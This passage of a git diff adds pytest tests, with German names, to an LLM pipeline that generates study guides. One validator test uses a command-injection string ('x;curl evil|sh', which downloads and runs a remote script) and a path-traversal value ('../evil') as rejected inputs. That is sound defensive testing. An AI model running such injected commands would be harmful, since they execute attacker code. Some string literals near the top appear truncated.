lambda p: {"noetig": True, "typ": "flow"}) + monkeypatch.setitem(fake_agents._HANDLER, "Diagramm-Verify", + lambda p: [{"ok": False, "mangel": "erfundener Knoten"}]) + ctx = llm.Kontext(run_anlegen(topic), topic, "minimax") + await diagramme.bauen(ctx) + assert db.one("SELECT status FROM diagramme WHERE baustein_id=?", (b,))["status"] == "verworfen" + + +async def test_marker_wird_zu_fence(): + """Assembly: platzierter → ```mermaid-Fence.""" + import guide + topic = topic_anlegen("diag-place") + b, _ = _baustein_mit_kette(topic, n=4) + ctx = llm.Kontext(run_anlegen(topic), topic, "minimax") + await diagramme.bauen(ctx) + d = db.one("SELECT id FROM diagramme WHERE baustein_id=?", (b,)) + db.insert("sections", baustein_id=b, stage="done", text_kompakt="- k", + text_lang=f"Text.\n\n\n\nMehr Text.") + lang = guide.kapitel_struktur(topic)[0]["sections"][0]["lang"] + assert "```mermaid" in lang and "flowchart TD" in lang + assert "\n\nMehr.") + lang = guide.kapitel_struktur(topic)[0]["sections"][0]["lang"] + assert "\n\n" + "Wort " * 60) + ctx = llm.Kontext(run_anlegen(topic), topic, "minimax") + ctx.ebene = "guide" + assert "diagramm_marker_tot" in {x["art"] for x in guide.messen(ctx)} diff --git a/tests/test_e2e.py b/tests/test_e2e.py index 3247c2f..930f9c9 100644 --- a/tests/test_e2e.py +++ b/tests/test_e2e.py @@ -142,7 +142,7 @@ async def test_ebenen_entfernen_kaskade(): assert db.one("SELECT status FROM topics WHERE name=?", (topic,))["status"] == "artefakte_fertig" # Anzeige-Reset: Token-Zählung der entfernten Ebenen beginnt neu (Events bleiben) resets = db.uj(db.one("SELECT resets FROM topics WHERE name=?", (topic,))["resets"], {}) - assert set(resets) == {"struktur", "guide"} + assert set(resets) == {"struktur", "diagramme", "guide"} # diagramme hängt an struktur assert resets["struktur"] == db.one("SELECT MAX(id) AS m FROM events")["m"] run2 = await _lauf_komplett(topic) _pruefe_endzustand(topic, run2) diff --git a/tests/test_inventar.py b/tests/test_inventar.py index f615a2b..6552a15 100644 --- a/tests/test_inventar.py +++ b/tests/test_inventar.py @@ -55,6 +55,99 @@ async def test_anker_rematch_ohne_llm(tmp_path): b["art"] != "atom_ohne_anker" for b in inventar.messen(ctx)) +async def test_resume_liest_teilextrahierte_quelle_weiter(tmp_path): + """Abbruch mitten in der Extraktion (atome_stand leer): der Resume liest die + Quelle komplett neu, statt sie als fertig zu überspringen.""" + topic = topic_anlegen("resume-ext") + run = run_anlegen(topic) + snap = tmp_path / "q.md" + snap.write_text("Absatz eins über Kompaktheit.\n\nAbsatz zwei über Vollständigkeit.", + encoding="utf-8") + # Quelle hat schon EIN verankertes Atom, aber atome_stand ist leer (Abbruch) + q = db.insert("quellen", topic=topic, art="datei", titel="q", + snapshot=str(snap), hash="h", status="extrahiert", atome_stand="") + a = db.insert("atome", topic=topic, titel="Alt", typ="begriff", definition="d", + status="neu", braucht=db.j([])) + db.insert("anker", atom_id=a, quelle_id=q, start=0, ende=5, zitat="Absatz") + ctx = llm.Kontext(run, topic, "minimax") + ctx.ebene = "inventar" + await inventar._extrahiere_quelle(ctx, db.one("SELECT * FROM quellen WHERE id=?", (q,))) + # neu gelesen → Extraktions-Events da, atome_stand jetzt gesetzt + assert db.query("SELECT id FROM events WHERE run_id=? AND stage='extraktion'", (run,)) + assert db.one("SELECT atome_stand FROM quellen WHERE id=?", (q,))["atome_stand"] == "atome" + + # Gegenprobe: mit gesetztem Merker wird NICHT neu gelesen + run2 = run_anlegen(topic) + ctx2 = llm.Kontext(run2, topic, "minimax") + ctx2.ebene = "inventar" + await inventar._extrahiere_quelle(ctx2, db.one("SELECT * FROM quellen WHERE id=?", (q,))) + assert db.query("SELECT id FROM events WHERE run_id=?", (run2,)) == [] + + +async def test_stichentscheid_braucht_zwei_stimmen(monkeypatch): + """Verwerfen (destruktiv) nur bei vollzähligem einstimmigem „fremd"-Panel.""" + topic = topic_anlegen("stich") + run = run_anlegen(topic) + db.insert("soll", topic=topic, punkt="P1", status="bestaetigt", belege=db.j([])) + ctx = llm.Kontext(run, topic, "minimax") + ctx.ebene = "inventar" + + def neu_atom(): + return db.insert("atome", topic=topic, titel="X", typ="begriff", + definition="d", status="neu", braucht=db.j([])) + + def panel_mit(votes): + async def _p(ctx, groesse, **kw): + return list(votes) + return _p + + a1 = neu_atom() # 1× fremd → nicht vollzählig → Atom bleibt + monkeypatch.setattr(llm, "panel", panel_mit([{"soll": "fremd"}])) + await inventar._soll_stichentscheid(ctx, a1) + assert db.one("SELECT status FROM atome WHERE id=?", (a1,))["status"] == "neu" + + a2 = neu_atom() # 2× fremd → verworfen + monkeypatch.setattr(llm, "panel", panel_mit([{"soll": "fremd"}, {"soll": "fremd"}])) + await inventar._soll_stichentscheid(ctx, a2) + assert db.one("SELECT status FROM atome WHERE id=?", (a2,))["status"] == "verworfen" + + a3 = neu_atom() # 2× ohne soll-Feld → kein fremd-Votum → bleibt + monkeypatch.setattr(llm, "panel", panel_mit([{}, {}])) + await inventar._soll_stichentscheid(ctx, a3) + assert db.one("SELECT status FROM atome WHERE id=?", (a3,))["status"] == "neu" + + +async def test_anker_batch_ausfall_verwirft_nicht(monkeypatch, tmp_path): + """Call-Ausfall (None) ≠ „keine Quellstelle" → Atom bleibt ohne_anker, bewegt=False.""" + import fake_agents + topic = topic_anlegen("ankerfail") + run = run_anlegen(topic) + snap = tmp_path / "q.md" + snap.write_text("Ganz anderer Text ohne die gesuchte Stelle.", encoding="utf-8") + q = db.insert("quellen", topic=topic, art="datei", titel="q", + snapshot=str(snap), hash="h", status="atome") + a = db.insert("atome", topic=topic, titel="T", typ="begriff", definition="d", + status="ohne_anker", braucht=db.j([])) + db.insert("anker", atom_id=a, quelle_id=q, start=-1, ende=-1, + zitat="Ein Zitat das nirgends im Quelltext steht und lang genug ist.") + monkeypatch.setitem(fake_agents._HANDLER, "Atom-Anker-Fix-Batch", lambda p: {}) + ctx = llm.Kontext(run, topic, "minimax") + ctx.ebene = "inventar" + bewegt = await inventar._anker_fixen_batch(ctx, [a]) + assert db.one("SELECT status FROM atome WHERE id=?", (a,))["status"] == "ohne_anker" + assert bewegt is False + + +def test_finde_zitat_casefold_sz_offsets(): + """casefold-Stufe: ß→ss-Expansionen vor dem Treffer dürfen den Span nicht + verschieben; Treffer am Textende darf nicht in einen IndexError laufen.""" + import textkit + text = "Straße und Fußweg. " * 30 + "DER KERNSATZ STEHT AM ENDE." + span = textkit.finde_zitat(text, "der kernsatz steht am ende.") + assert span is not None + assert text[span[0]:span[1]] == "DER KERNSATZ STEHT AM ENDE." + + def test_titel_kern_faltet_schreibvarianten(): import textkit assert textkit.titel_kern("ΔTSP2 Tour‑Länge") == textkit.titel_kern("ΔTSP2 Tour-Länge") diff --git a/tests/test_korpus.py b/tests/test_korpus.py index aec78d4..395f333 100644 --- a/tests/test_korpus.py +++ b/tests/test_korpus.py @@ -87,6 +87,64 @@ async def test_hartnaeckig_vergessene_wird_befund(monkeypatch): assert befunde[0]["item"] == str(c) +async def test_konsens_erhaelt_nachbelege_geprueft_und_id(monkeypatch): + """Neu-Konsens darf bestätigte Zeilen nicht löschen: id, geprueft-Cache und + nachgesuchte Belege bleiben, Belege werden vereint.""" + topic, (q1, q2), ctx = _seed(art="thema", n_quellen=2) + best = db.insert("soll", topic=topic, punkt="Alpha", status="bestaetigt", + belege=db.j([{"quelle": q1, "zitat": "Zitat Alpha"}]), + geprueft=db.j([q2])) + a1 = _kandidat(topic, "Alpha", q1) + a2 = _kandidat(topic, "Alpha", q2) + + def judge(prompt): + if "NACHRUNDE" in prompt: + return [] + return [{"punkt": "Alpha", "kandidaten": [a1, a2]}] + + monkeypatch.setitem(fake_agents._HANDLER, "Korpus-Soll-Konsens", judge) + assert await korpus._konsens(ctx) == 1 + row = db.one("SELECT * FROM soll WHERE topic=? AND status='bestaetigt'", (topic,)) + assert row["id"] == best # id stabil (kein DELETE+INSERT) + assert db.uj(row["geprueft"]) == [q2] # geprueft-Cache erhalten + assert {b["quelle"] for b in db.uj(row["belege"])} == {q1, q2} # Belege-Union + + +async def test_soll_resume_ohne_doppelkandidaten(monkeypatch, tmp_path): + """Abgebrochener Extraktions-Pass: der Resume darf keine Doppel-Kandidaten legen.""" + topic = topic_anlegen("resume-soll", art="uni") + snap = tmp_path / "q.md" + snap.write_text("Der wichtige Punkt steht hier im Text.", encoding="utf-8") + q = db.insert("quellen", topic=topic, art="datei", titel="q", + snapshot=str(snap), hash="h", status="neu") + db.insert("soll", topic=topic, punkt="Der wichtige Punkt", status="kandidat", + belege=db.j([{"quelle": q, "zitat": "Der wichtige Punkt"}])) + ctx = llm.Kontext(run_anlegen(topic), topic, "minimax") + ctx.ebene = "korpus" + monkeypatch.setitem(fake_agents._HANDLER, "Korpus-Soll", + lambda p: [{"punkt": "Der wichtige Punkt", + "zitat": "Der wichtige Punkt steht hier"}]) + await korpus._soll_extrahieren(ctx) + kand = db.query("SELECT id FROM soll WHERE topic=? AND status='kandidat'", (topic,)) + assert len(kand) == 1 # Leiche gelöscht, genau ein Kandidat + + +async def test_uni_soll_leer_faellt_zu(monkeypatch, tmp_path): + """uni-Topic ohne bestätigten Punkt: kein Auto-Freeze, Gate blockt E1.""" + topic = topic_anlegen("unileer", art="uni") + snap = tmp_path / "q.md" + snap.write_text("Nur Fülltext ohne lernbaren Punkt.", encoding="utf-8") + db.insert("quellen", topic=topic, art="datei", titel="q", + snapshot=str(snap), hash="h", status="neu") + ctx = llm.Kontext(run_anlegen(topic), topic, "minimax") + ctx.ebene = "korpus" + monkeypatch.setitem(fake_agents._HANDLER, "Korpus-Soll", lambda p: []) + monkeypatch.setitem(fake_agents._HANDLER, "Korpus-Soll-Konsens", lambda p: []) + await korpus.bauen(ctx) + assert db.one("SELECT status FROM topics WHERE name=?", (topic,))["status"] == "korpus" + assert korpus.gate(ctx) == "kein bestätigter Soll-Punkt" + + async def test_thema_braucht_zwei_quellen(monkeypatch): topic, (q1, q2), ctx = _seed(art="thema", n_quellen=2) x1 = _kandidat(topic, "X", q1) diff --git a/tests/test_struktur.py b/tests/test_struktur.py index 5cb7da6..b143027 100644 --- a/tests/test_struktur.py +++ b/tests/test_struktur.py @@ -12,6 +12,62 @@ def _atom(topic, titel, ziel_id=None, soll_id=1): soll_id=soll_id, ziel_id=ziel_id, braucht=db.j([])) +def _baustein_groessen(topic): + from collections import Counter + c = Counter(a["baustein_id"] for a in struktur._atome(topic)) + return sorted(c.values()) + + +async def test_band_split_43_atome(): + """Große Gruppe gleichverteilt splitten: jeder Baustein im Band 4–8.""" + topic = topic_anlegen("split43") + run = run_anlegen(topic) + soll = db.insert("soll", topic=topic, punkt="P", status="bestaetigt", belege=db.j([])) + ziel = db.insert("lernziele", topic=topic, text="Kann P", soll_id=soll, status="aktiv") + for i in range(43): + _atom(topic, f"A{i}", ziel, soll) + ctx = llm.Kontext(run, topic, "minimax") + ctx.ebene = "struktur" + struktur._bausteine_schneiden(ctx) + groessen = _baustein_groessen(topic) + assert sum(groessen) == 43 + assert all(struktur.BAUSTEIN_MIN_ATOME <= n <= struktur.BAUSTEIN_MAX_ATOME + for n in groessen), groessen + assert "band" not in {b["art"] for b in struktur.messen(ctx)} + + +async def test_band_messen_konsistent_mit_schnitt(): + """Kleine Gruppe mergt trotz Summe > MAX (Split re-balanciert) → kein band-Befund; + eine einsame Kleingruppe ohne Level-Partner meldet ebenfalls nichts.""" + topic = topic_anlegen("bandkon") + run = run_anlegen(topic) + soll = db.insert("soll", topic=topic, punkt="P", status="bestaetigt", belege=db.j([])) + z1 = db.insert("lernziele", topic=topic, text="Z1", soll_id=soll, status="aktiv") + z2 = db.insert("lernziele", topic=topic, text="Z2", soll_id=soll, status="aktiv") + for i in range(3): + _atom(topic, f"K{i}", z1, soll) + for i in range(13): + _atom(topic, f"G{i}", z2, soll) + ctx = llm.Kontext(run, topic, "minimax") + ctx.ebene = "struktur" + struktur._bausteine_schneiden(ctx) + assert all(4 <= n <= 8 for n in _baustein_groessen(topic)) + assert "band" not in {b["art"] for b in struktur.messen(ctx)} + + +async def test_einsame_kleingruppe_kein_band(): + topic = topic_anlegen("lone") + run = run_anlegen(topic) + soll = db.insert("soll", topic=topic, punkt="P", status="bestaetigt", belege=db.j([])) + ziel = db.insert("lernziele", topic=topic, text="Z", soll_id=soll, status="aktiv") + for i in range(2): + _atom(topic, f"A{i}", ziel, soll) + ctx = llm.Kontext(run, topic, "minimax") + ctx.ebene = "struktur" + struktur._bausteine_schneiden(ctx) + assert "band" not in {b["art"] for b in struktur.messen(ctx)} + + def test_topo_ordnung(): rang = {1: (0, 1), 2: (0, 2), 3: (0, 3)} # 3 braucht 1, 2 braucht 3 → 1, 3, 2 diff --git a/tests/test_topics.py b/tests/test_topics.py new file mode 100644 index 0000000..1eab9d7 --- /dev/null +++ b/tests/test_topics.py @@ -0,0 +1,49 @@ +"""Sicherheit + Infra-Kleinkram: Topic-Namen-Validierung, jsonx-Fences, +Ledger-Timeouts, db.now-Format.""" + +import re + +import config +import db +import jsonx +import ledger +import pytest +import transfer +from conftest import run_anlegen, topic_anlegen + + +def test_topic_name_ok(): + assert config.topic_name_ok("aak") + assert config.topic_name_ok("algo-1_test") + assert config.topic_name_ok("Größe") + for boese in ("..", "a/b", "x;curl evil|sh", "-flag", "", "a.b", "../x", "a b", "a\tb"): + assert not config.topic_name_ok(boese), boese + + +def test_import_lehnt_boesen_topic_ab(): + """Manipulierter Export mit topic='../evil' → Abbruch vor rmtree, kein Eintrag.""" + d = {"topic": "../evil", "topics": [{"name": "../evil"}]} + with pytest.raises(ValueError): + transfer.importieren(d) + assert not db.one("SELECT name FROM topics WHERE name=?", ("../evil",)) + + +def test_jsonx_findet_json_im_zweiten_fence(): + text = ("Beispiel:\n```python\nprint('hi')\n```\n" + "Antwort:\n```json\n[{\"a\": 1}]\n```") + assert jsonx.parse(text) == [{"a": 1}] + + +def test_ledger_timeouts_und_parse(): + topic = topic_anlegen("led") + run = run_anlegen(topic) + ledger.log_call(run, ebene="e", stage="s", status="infra", meta={"err": "timeout"}) + ledger.log_call(run, ebene="e", stage="s", status="infra", meta={"err": "HTTP 429"}) + ledger.log_call(run, ebene="e", stage="s", status="parse", meta={"err": "kaputt"}) + z = ledger.kennzahlen(run)[0] + assert z["timeouts"] == 1 # nur der echte Timeout + assert z["fehler"] == 3 # infra(2) + parse(1) + + +def test_db_now_ist_zeitstempel(): + assert re.match(r"^\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}$", db.now()) diff --git a/tests/test_transfer.py b/tests/test_transfer.py index dc32af5..e938322 100644 --- a/tests/test_transfer.py +++ b/tests/test_transfer.py @@ -49,3 +49,26 @@ async def test_export_import_roundtrip(): for feld in ("text_lang", "text_kompakt"): for m in re.findall(r"